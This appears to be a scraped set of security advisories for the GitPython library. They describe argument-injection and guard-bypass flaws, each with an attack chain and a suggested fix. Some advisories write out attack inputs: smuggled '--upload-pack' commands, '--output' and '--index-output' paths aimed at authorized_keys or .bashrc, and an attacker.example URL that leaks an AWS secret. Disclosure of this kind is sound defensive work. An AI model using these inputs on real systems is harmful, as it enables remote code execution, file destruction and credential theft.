[submodule "docs"]section; the malicious name yields an injectedcore.sshCommand. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced"makes git reject the header); thesubmodule "<name>"wrapper balances them automatically.Impact
Arbitrary attacker-controlled write into the victim's repository-local
.git/config, which git fully trusts.core.sshCommandis executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (alias.*,core.pager,core.fsmonitor) fire on more common operations. Reachable in default configuration through two realistic paths:Repo.create_submodule(name=...)(single call); orRepo.clone_fromof an untrusted repository followed bysubmodule_update— the canonical submodule threat model, where the malicious name is read from the cloned.gitmodules.No non-default git settings are required. Primarily a Unix vector: on Windows the
"in the resulting.git/modules/<name>directory name can abort the fresh-clone write branch (the direct config-API andcreate_submodulesinks are unaffected).Recommended fix
Reject or escape configuration section/subsection/option names that contain
],[,", or leading/trailing whitespace (or apply git's own section-name escaping) in_assure_config_name_safe/write_section, rather than only CR/LF/NUL. Validating submodule names before they reachsm_sectionwould additionally close the clone-driven path.Severity
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-69097 / GHSA-3rp5-jjmw-4wv2 / PYSEC-2026-3981
More information
Details
GitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.
Severity
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Incomplete unsafe_git_clone_options denylist omits --template enabling arbitrary command execution via clone hooks
CVE-2026-73623 / GHSA-6p8h-3wgx-97gf / PYSEC-2026-3952
More information
Details
Summary
GitPython's
unsafe_git_clone_optionsdenylist omits--template.git clone --template=<dir>copies<dir>/hooks/into the new repository and runs them (post-checkoutfires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the defaultallow_unsafe_options=Falseconfiguration.Root Cause
base.py:145-152definesunsafe_git_clone_options = ["--upload-pack","-u","--config","-c"]—--templateis absent. The guard candidate['--template']passescheck_unsafe_options(verified). git copies the hook directory and executespost-checkoutat checkout time. git'sprotocol.allow/GIT_ALLOW_PROTOCOLdo not gate--template; the incomplete denylist is the only defense.Impact
Arbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs,
/tmp, or attacker-writable network paths), reflected as AC:H.Proof of Concept
Attack Chain
<dir>/hooks/post-checkout(chmod +x). Guard: n/a (filesystem).Repo.clone_from(url, path, template='<dir>'). Guard:check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options). Bypass proof:--templatenot on the denylist -> passes (verified candidate['--template'], no error).post-checkoutat checkout. Impact: ACE, default config (verified marker created).Bypass Evidence
Live-verified on HEAD (tag 3.1.53): guard candidate
['--template']passed with no error; stagedpost-checkouthook executed duringclone_from, creating the marker. Independent of the value-smuggle bypass (--templateis a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory.Affected Versions
<= 3.1.53Suggested Fix
Add
--template(and audit for other hook/exec-influencing options) tounsafe_git_clone_options.Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Arbitrary file overwrite via git diff --output argument injection in Diffable.diff (key- and value-controlled)
CVE-2026-73624 / GHSA-fjr4-x663-mwxc / PYSEC-2026-3995
More information
Details
Summary
Diffable.diff()forwards**kwargsstraight intodiff/diff_treewith nocheck_unsafe_optionsguard.Diffableis mixed intoCommit,Tree,IndexFile, andSubmodule, giving a broad surface.git diff --output=<path>writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite.Root Cause
diff.py:188-283builds and runs the diff command with nocheck_unsafe_optionsanywhere in the method (grep-confirmed). Additionallydiff.py:265doesargs.insert(0, other), placing the caller-suppliedotherref BEFORE the--separator, so a value of--output=/pathis parsed by git as an option — a value-only control path requiring no kwarg key.Impact
Overwrite/corrupt any file at process privilege with attacker-chosen path (e.g.
~/.ssh/authorized_keys, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints.Proof of Concept
Attack Chain
commit.diff(other=<user ref>)withother = "--output=/home/app/.ssh/authorized_keys". Guard: none inDiffable.diff. Bypass proof: nocheck_unsafe_optionsin the method body (grep);otherinserted pre---at diff.py:265.git diff-tree <sha> --output=/home/app/.ssh/authorized_keys -r ...-> git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live.Bypass Evidence
Live-verified on HEAD (tag 3.1.53): both key-control (
output=) and value-control (other='--output=...') overwrote a victim file with real diff-tree content; argv confirmed['git','diff-tree','<sha>','--output=/victim','-r',...]. This is the same value-control model GHSA-956x deemed fix-worthy foriter_commits(rev='--output=')— butdiffis a distinct, unguarded sink NOT touched by that fix.Affected Versions
<= 3.1.53Suggested Fix
Add
check_unsafe_optionstoDiffable.diff(mirroringiter_commits/archive), and/or place--end-of-optionsbefore theotherref so it cannot be parsed as an option.Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution
CVE-2026-73625 / GHSA-r9mr-m37c-5fr3 / PYSEC-2026-3953
More information
Details
Summary
GitPython's
check_unsafe_optionsguard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for every guarded method (clone/clone_from,fetch/pull/push,ls_remote,iter_commits,blame,archive) by smuggling an option token inside the VALUE of a single-character kwarg. In the defaultallow_unsafe_options=Falseconfiguration this yields arbitrary command execution via--upload-pack.Root Cause
The guard builds its candidate option list from kwarg KEYS only:
_option_candidates([], {"n":"--upload-pack=<cmd>"})returns['-n'](cmd.py:1042-1046 derives the candidate from the key, never the value).-nis not on the denylist, socheck_unsafe_optionspasses. Buttransform_kwarg('n', value, split_single_char_options=True)(cmd.py:1600-1606) emits two argv tokens['-n', '--upload-pack=<cmd>']. git then parses the second token as--upload-packand executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token.Impact
Arbitrary OS command execution as the host process (via
--upload-pack) in the default configuration, affecting all guarded methods since they all build candidates through the name-only_option_candidates.Proof of Concept
File-write variant on a guarded revision command:
iter_commits('HEAD', g='--output=/path')-> candidate['-g']passes, argv['-g','--output=/path'], victim file truncated.Attack Chain
Repo.clone_from(url, path, n="--upload-pack=touch /tmp/ACE;git-upload-pack"). Guard:check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)at base.py. Bypass proof:_option_candidates([], {"n":"--upload-pack=..."})->['-n'](key-only), not on denylist -> no UnsafeOptionError (verified live).transform_kwarg('n', value, split_single_char_options=True)->['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens.git clone -n --upload-pack='touch ...;git-upload-pack' -- <src> <dst>; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end).Bypass Evidence
Live-verified on HEAD (tag 3.1.53):
_option_candidatesreturns key-only candidate['-n'];transform_kwargsemits the smuggled--upload-pack=token; clone_from with the payload created the marker file; the direct-nameupload_pack=form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value->separate-token vector.Affected Versions
<= 3.1.53Suggested Fix
Make
_option_candidatesalso emit candidates derived from single-character kwarg VALUES whensplit_single_char_optionsis in effect, OR runcheck_unsafe_optionsover the fully-transformed argv rather than the reconstructed name-only candidate list.Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-73623 / GHSA-6p8h-3wgx-97gf / PYSEC-2026-3952
More information
Details
GitPython before 3.1.54 contains an incomplete denylist in unsafe_git_clone_options that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute when git clones the repository.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
CVE-2026-73625 / GHSA-r9mr-m37c-5fr3 / PYSEC-2026-3953
More information
Details
GitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
CVE-2026-73624 / GHSA-fjr4-x663-mwxc / PYSEC-2026-3995
More information
Details
GitPython versions before 3.1.54 contain an arbitrary file overwrite vulnerability in the Diffable.diff method that fails to validate git options passed through kwargs. Attackers can supply the --output argument via the other parameter or output kwarg to write patch content to attacker-chosen file paths at process privilege level.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)
CVE-2026-73622 / GHSA-94p4-4cq8-9g67 / PYSEC-2026-3951
More information
Details
Summary
The fix for GHSA-rwj8-pgh3-r573 stopped
Repo.clone_from()from running caller-supplied URLs throughos.path.expandvars(), but it guarded only that one caller.Remote.create()— reached from the publicRepo.create_remote()and itsRemote.add()alias — still passes an attacker-influenceable URL throughGit.polish_url()with the defaultexpand_vars=True. A URL such ashttp://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.gitis expanded server-side to embed the hosting process's environment secret, written into.git/config, and then transmitted to the attacker's host on the nextfetch/pull. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.Root Cause
Fix commit
8ac5a305added anexpand_varsparameter toGit.polish_url()(defaultTrue) and usedexpand_vars=Falseonly inRepo._clone()(git/repo/base.py:1455). The shared helper's dangerous default was left in place, and the other callers were not updated.git/remote.py:811,Remote.create:check_unsafe_protocols()runs after expansion here, so it rejects anext::payload but does nothing about anhttps://URL that carries an expanded secret in its path or host — the disclosure primitive.The same unguarded call also sits at
git/objects/submodule/base.py:611(Submodule.add), which writes the expanded URL into.gitmodules(a tracked file) and.git/config.Steps to Reproduce
Prerequisites
gitonPATH(for the fetch step)Step 1: Install GitPython 3.1.53 in a clean venv
Step 2: Write the PoC
Step 3: Run it
Expected output (the listener's ephemeral port is shown as
PORT):The
${GP_SENTINEL_SECRET}token in the supplied URL is replaced with the environment value both in the stored.git/configURL and in the request that reaches the attacker-controlled host.Suggested Fix
Pass
expand_vars=Falseat the remaining URL callers, matching the clone fix:git/remote.pyRemote.create:url = Git.polish_url(url, expand_vars=False)git/objects/submodule/base.pySubmodule.add:url = Git.polish_url(url, expand_vars=False)More robustly, flip the
Git.polish_url()default toexpand_vars=False(env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.Cleanup
Impact
Any secret in the hosting process environment (
AWS_SECRET_ACCESS_KEY,GITHUB_TOKEN, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed toRepo.create_remote()/Remote.add(). The secret is expanded into.git/configimmediately and transmitted over the network (DNS + HTTP) on the nextfetch/pull/remote update. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches.gitmodules(a committable file) viaSubmodule.add().Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-73622 / GHSA-94p4-4cq8-9g67 / PYSEC-2026-3951
More information
Details
GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Arbitrary file truncation via git rev-list --output argument injection in unguarded Commit.count
CVE-2026-73621 / GHSA-p538-c434-8v24 / PYSEC-2026-3950
More information
Details
Summary
Commit.count()forwards**kwargsintorev_listwith nocheck_unsafe_optionsguard (the guard exists only in the siblingiter_items, commit.py:341).git rev-list --output=<path>opens and truncates the target file to 0 bytes before revision parsing, socount(output='/victim')destroys/blanks an arbitrary file.Root Cause
commit.py:290-291callsself.repo.git.rev_list(self.hexsha, **kwargs)with nocheck_unsafe_optionsand noallow_unsafe_optionsparameter. The siblingiter_items(commit.py:341) is guarded;countis not. This is a distinct, uncovered sink — GHSA-956x-8gvw-wg5v fixediter_commits/blame, notcount.Impact
Destroy/blank an arbitrary file at process privilege (integrity/availability). Reachability is key-control only (
countusesself.hexsha, not a user ref), and the write is a 0-byte truncation (no content control), so MEDIUM.Proof of Concept
Attack Chain
commit.count(output='/victim'). Guard: none. Bypass proof:iter_commits(output=)raises UnsafeOptionError;count(output=)does not — verified side-by-side.git rev-list <sha> --output=/victim-> file truncated to 0 bytes. Impact: destroy/blank arbitrary file.Bypass Evidence
Live-verified on HEAD (tag 3.1.53):
count(output=<victim>)truncated a pre-existing file to 0 bytes; guardediter_commits(output=)raised UnsafeOptionError. Same CNA-accepted "app forwards user options dict" model as GHSA-956x-8gvw-wg5v'sarchive(**kwargs). Uncovered sink, not a duplicate.Affected Versions
<= 3.1.53Suggested Fix
Add
check_unsafe_optionstoCommit.count(mirroringiter_items).Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:LReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-73621 / GHSA-p538-c434-8v24 / PYSEC-2026-3950
More information
Details
GitPython before 3.1.56 contains an argument injection vulnerability in the Commit.count() method, which forwards keyword arguments to 'git rev-list' without the check_unsafe_options guard present in the sibling iter_items method. An attacker who can control options passed to Commit.count (e.g., via an application that forwards a user-supplied options dict) can supply output=, causing 'git rev-list --output=' to open and truncate the target file to zero bytes before revision parsing. This allows destruction/blanking of an arbitrary file at the process's privilege level (no content control, 0-byte truncation).
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Unguarded git option forwarding in IndexFile.checkout() and TagReference.create() enables arbitrary file overwrite and arbitrary file read
CVE-2026-73620 / GHSA-3f7w-8rr8-f37f / PYSEC-2026-3949
More information
Details
Target: gitpython-developers/GitPython
Tested: HEAD
07e80555(2026-07-25), latest release 3.1.55,git version 2.50.1Reported instances: 2 exploitable, from a sweep of 14 unguarded call sites
Summary
GitPython blocks dangerous git options through
Git.check_unsafe_options(), gated per method by anallow_unsafe_optionsparameter. That guard is applied per call site, so any API that forwards**kwargsinto a git command without calling it passes caller-controlled options straight to git.A mechanical sweep of every method that forwards
**kwargsinto a.git.<command>(...)call found 14 sites with no guard. Two reach a git option that takes a filesystem path:IndexFile.checkout()→git checkout-index--prefix=<path>TagReference.create()→git tag-F <file>/--file=<file>This is the same defect class already fixed in
Commit.count()(GHSA-p538-c434-8v24),Repo.archive()andGit.ls_remote()(GHSA-956x-8gvw-wg5v). Both instances below are still present at HEAD.Instance 1 —
IndexFile.checkout(): arbitrary file overwritegit/index/base.py:1210accepts**kwargsand forwards them with no guard:There is no
allow_unsafe_optionsparameter and nocheck_unsafe_options()call in the method.git checkout-indexaccepts--prefix=<string>, prepended to every output path. It is not confined to the working tree, so an absolute prefix writes tracked file contents anywhere the process can write, and-foverwrites what is already there.Reproduction
Observed (
poc/poc_checkout_index.py) — no exception raised, files land outside the repository:Overwrite of a pre-existing file (
poc/poc_ci_overwrite.py) — the victim file heldORIGINAL-DO-NOT-CLOBBER\nbefore the call:Why this rates High
Both halves of the write are attacker-influenced:
prefixkwarg.Commit a file named
authorized_keys,.bashrc,configorpost-checkout, choose the matching prefix (~/.ssh/,~/,.git/hooks/), and the write becomes code execution as the service account.For comparison within this project: GHSA-fjr4-x663-mwxc (arbitrary file overwrite via
git diff --output) is rated High, and GHSA-p538-c434-8v24 (arbitrary file truncation viagit rev-list --output) is rated Medium.--prefixsupplies full content control, so it sits at or above the former.Instance 2 —
TagReference.create(): arbitrary file readgit/refs/tag.py:88forwards**kwargsintogit tagwith no guard, and the signature advertises the passthrough:git tagaccepts-F <file>/--file=<file>, which reads the tag message from an arbitrary path. The annotated tag object stores that content and GitPython returns it to the caller viaTagReference.tag.message, so the file contents come back in-band.Reproduction
Observed (
poc/poc_tag_F.py), reading a canary file outside the repository:Impact is a read at the privileges of the process. I am not claiming code execution for this instance. The signing options (
-s,-u/--local-user) do invoke gpg from the same unguarded kwargs, but I did not develop that into command execution and make no claim about it.Sweep results — the other 12 sites
Reported so the fix can be scoped once rather than per report.
poc/sweep.pyreproduces this list.IndexFile.from_tree()read-tree--index-output=<path>looked reachable but is neutralised: GitPython appends its own--index-outputafter the caller's kwargs and git honours the last occurrence. Verified — victim file unchanged (poc/poc_readtree.py)IndexFile.remove()rm--pathspec-from-fileonly reads a pathspec; no write or disclosure primitive foundIndexFile.move()mvHEAD.reset()resetHEAD.checkout()checkoutHead.delete(),RemoteReference.delete()branchRepo.merge_base()merge-baseRepo._get_untracked_files()statusRemote.set_url(),Remote.create(),Remote.update()remoteSuggested remediation
Immediate: add
allow_unsafe_options: bool = Falseto both methods and gateGit._option_candidates(args, kwargs)against new lists —unsafe_git_checkout_index_options = ["--prefix"](consider--temp) andunsafe_git_tag_options = ["--file", "-F"](consider-s,-u/--local-user,--cleanup) — matching the pattern used inRepo.archive()andCommit.count().Structural: this defect has now been fixed four times in four places (
Repo.archive(),Git.ls_remote(),Commit.count(), and the two here), because the guard is opt-in per method: every new**kwargs-forwarding API starts unguarded and stays that way until someone reports it. Enforcing the check centrally inGit._call_process()— each git invocation consults a per-command unsafe-option table unless the caller opts out — would make new call sites safe by default rather than by review, and would close the remaining sites in the table above at the same time.Disclosure
Reported privately via GitHub private vulnerability reporting.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Incomplete unsafe_git_archive_options denylist omits --add-file / --add-virtual-file, enabling arbitrary file read via Repo.archive()
CVE-2026-73619 / GHSA-539m-9xh6-q6rr / PYSEC-2026-3948
More information
Details
Target: gitpython-developers/GitPython
Tested: HEAD
07e80555(2026-07-25), latest release 3.1.55,git version 2.50.1Summary
Repo.archive()does call the option guard, so this is not a missing-guard report. The guard is present and working; the denylist it consults is incomplete.The comment on
--outputstates the protected class in the project's own words: an option that lets the caller name a filesystem path is unsafe.--outputis blocked because it writes to a caller-chosen path.git archivealso accepts--add-file=<path>and--add-virtual-file=<path:content>(both present in current git; verified againstgit version 2.50.1).--add-filereads a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them:Net effect: the guard blocks arbitrary file write at this sink while permitting arbitrary file read at the same sink.
Reachability proof (verified at the sink)
poc/poc_addfile.pyat HEAD07e80555. The PoC creates its own out-of-tree canary, so it runs from a clean machine:The three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran.
Minimal reproduction:
The canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by
transform_kwargsinto--add-file=<path>and reachesgit archiveunmodified.Direct precedent
GHSA-6p8h-3wgx-97gf(High, published 2026-07-22) is the same defect on the sibling list: "Incompleteunsafe_git_clone_optionsdenylist omits--template" — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it.git logshows the archive list itself has already been extended reactively once, in701ce32f(fix: Guard unsafe git command options, GHSA-956x-8gvw-wg5v), and the--templateomission was then fixed separately inffcb5359.--add-virtual-fileis the same gap pointing the other way--add-virtual-file=<path:content>lets the caller inject attacker-chosen content under an attacker-chosen name into an archive that downstream consumers will reasonably treat as repository-derived.Suggested remediation
Repo.archive()has a small legitimate option surface (format,prefix,worktree_attributes,remote, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this.--add-fileand--add-virtual-file, and make the membership rule "the option takes a filesystem path or URL" rather than "the option executes a command". The existing comment on--outputalready implies that rule; applying it consistently is what closes the class instead of this instance.Scope limits
Repo.archive(). That is the identical precondition to--output,--execand--template, all of which this project has treated as reportable.Disclosure
Reported privately via GitHub private vulnerability reporting. Happy to test a candidate patch against the PoC. No public disclosure until you have shipped a fix and are ready.
Addendum (2026-07-25) — related observation on the same membership question, filed here rather than separately
While auditing the archive denylist, the same class of gap was identified in unsafe_git_clone_options. A second advisory is not being requested, as the issue is lower severity and should inform the fix for the issue above rather than require separate triage. Recording it here to provide the complete picture in one place.
Repo._clone()treats a URL's protocol as a security boundary and appliescheck_unsafe_protocols()to exactly one input:git cloneaccepts a second URL via--bundle-uri=<uri>, which git dereferences before the main transport runs. That option is absent fromunsafe_git_clone_options, so the option guard passes it, andcheck_unsafe_protocols()never inspects it. A caller-influenced value therefore drives an outbound request from the host:Confirmed against a local listener — the request leaves the process:
file:///pathis likewise accepted without error. Note this is not a tokenisation bypass:multi_optionsisshlex.splitbefore the check (perc9a26789/ GHSA-x2qx-6953-8485), so the fully-split--bundle-uri=...token is checked and legitimately passes because the option is not on the list.Why it belongs with this report: both are the membership question rather than the matching logic — is the set of blocked options complete, and does the protocol guard inspect every URL git will dereference? The structural remediation proposed above covers both if extended slightly: prefer an allowlist per command, and route every URL-bearing option through
check_unsafe_protocols(), not only the positional URL. Adding--bundle-uritounsafe_git_clone_optionswould be the minimal fix.Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-73619 / GHSA-539m-9xh6-q6rr / PYSEC-2026-3948
More information
Details
GitPython before 3.1.57 contains an incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add-virtual-file options. Attackers can supply these options to Repo.archive() to read arbitrary files from the filesystem and include them in the returned archive.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
CVE-2026-73620 / GHSA-3f7w-8rr8-f37f / PYSEC-2026-3949
More information
Details
GitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree enables arbitrary file overwrite
CVE-2026-76219 / GHSA-4gmw-gg2m-w46p / PYSEC-2026-3838
More information
Details
Summary
IndexFile.from_tree,IndexFile.reset(→ from_tree) andIndexFile.merge_treeappend caller-influenced treeish strings positionally togit read-treewith no unsafe-option guard, noallow_unsafe_optionsparameter, and no--separator.git read-tree --index-output=<file>writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected--index-outputoverride the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit3af0c251(GHSA-3f7w-8rr8-f37f) guarded onlycheckout_indexandtag;read_treewas left unprotected (it is among the acknowledged unguarded call sites in that advisory's sweep but was never reported or fixed).Root Cause
from_tree(index/base.py:388),reset(delegates to from_tree), andmerge_tree(index/base.py:291) callrepo.git.read_tree(*arg_list)with nocheck_unsafe_optionsand no--. The treeish is caller-influenced and positional.Impact
Arbitrary file overwrite / destruction at the privileges of the host process. Content is constrained to a git-index blob (not attacker-chosen, so not RCE), but the target path is fully attacker-controlled — corrupting/truncating configs or destroying files at attacker-chosen writable locations = I:H + A:H (per the skill's "overwrite-any-path = I:H" rule). Pure VALUE control (positional treeish). Default configuration.
Proof of Concept
Attack Chain
IndexFile.from_tree(repo, treeish)/reset(commit=…)/merge_tree(base=…, rhs=…)with attackertreeish="--index-output=/home/victim/.bashrc".allow_unsafe_optionsand never callcheck_unsafe_options.repo.git.read_tree(*arg_list)— no--. argv (from_tree, observed):['git','read-tree','--index-output=<tmp>','--index-output=/…/victim'](last-wins).Bypass Evidence
Independently reproduced (gate harness):
IndexFile.from_tree(repo,'--index-output=<victim>')→ victim overwritten; before=IMPORTANT ORIGINAL CONTENT, after startsDIRC\x00\x00\x00\x02…(destructive clobber, valid index blob).reset(commit=…)and bothmerge_treepositionals verified. Fix-commit read:3af0c251touched onlycheckout_index+tag;read_treeuntouched on HEAD.Affected Versions
GitPython <= 3.1.57(sinks present verbatim on the latest release tag).Suggested Fix
Add a
check_unsafe_optionsguard (with anallow_unsafe_optionsparameter) tofrom_tree/reset/merge_tree, and/or place a--separator before the positional treeish arguments; block--index-output(a path-taking option) on this sink.Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks
CVE-2026-76218 / GHSA-9rj7-rf2p-w77r / PYSEC-2026-3840
More information
Details
Summary
Repo.init()forwards**kwargsverbatim togit initwith no unsafe-option guard and noallow_unsafe_optionsparameter.git init --template=<dir>copies<dir>/hooks/*into the new repo's.git/hooks, so an attacker-controlledtemplatekwarg plants a hook that executes on the next git operation → arbitrary code execution.--templateis already recognized as unsafe for clone (it is onunsafe_git_clone_options, and GHSA-6p8h-3wgx-97gf covers the clone path), butRepo.initis a distinct method that never received a guard and needs an independent fix.Root Cause
Repo.init(path, mkdir, odbt, expand_vars, **kwargs)is a baregit.init(**kwargs)(git/repo/base.py:1435) with nocheck_unsafe_optionsand noallow_unsafe_options.Impact
Arbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a
template=kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Defaultallow_unsafe_optionsis irrelevant here becauseRepo.inithas no guard at all.Proof of Concept
Attack Chain
/evil/hooks/post-commit(executable) and gets the app to callRepo.init(path, template='/evil').Repo.init. Bypass proof: base.py:1435 is a baregit.init(**kwargs). argv (observed):['git','init','--template=/evil']./evil/hooks/post-commit→<repo>/.git/hooks/post-commit.Bypass Evidence
Independently reproduced (gate harness):
Repo.init(dst, template='<evil>')→ argv['git','init','--template=<evil>']unguarded; hook copied into.git/hooks/post-commit; aftergit committheINIT_ACEmarker was created.--separate-git-dir=<path>is a parallel arbitrary-redirect vector through the same unguarded sink (value control only).Affected Versions
GitPython <= 3.1.57(unguardedgit.init(**kwargs)present verbatim on the latest release tag).Suggested Fix
Add a
check_unsafe_optionsguard (with anallow_unsafe_optionsparameter) toRepo.init, consulting a denylist that includes--templateand--separate-git-dir(path-taking / hook-installing options).Reported by zx (Jace) — GitHub: @manus-use
Severity
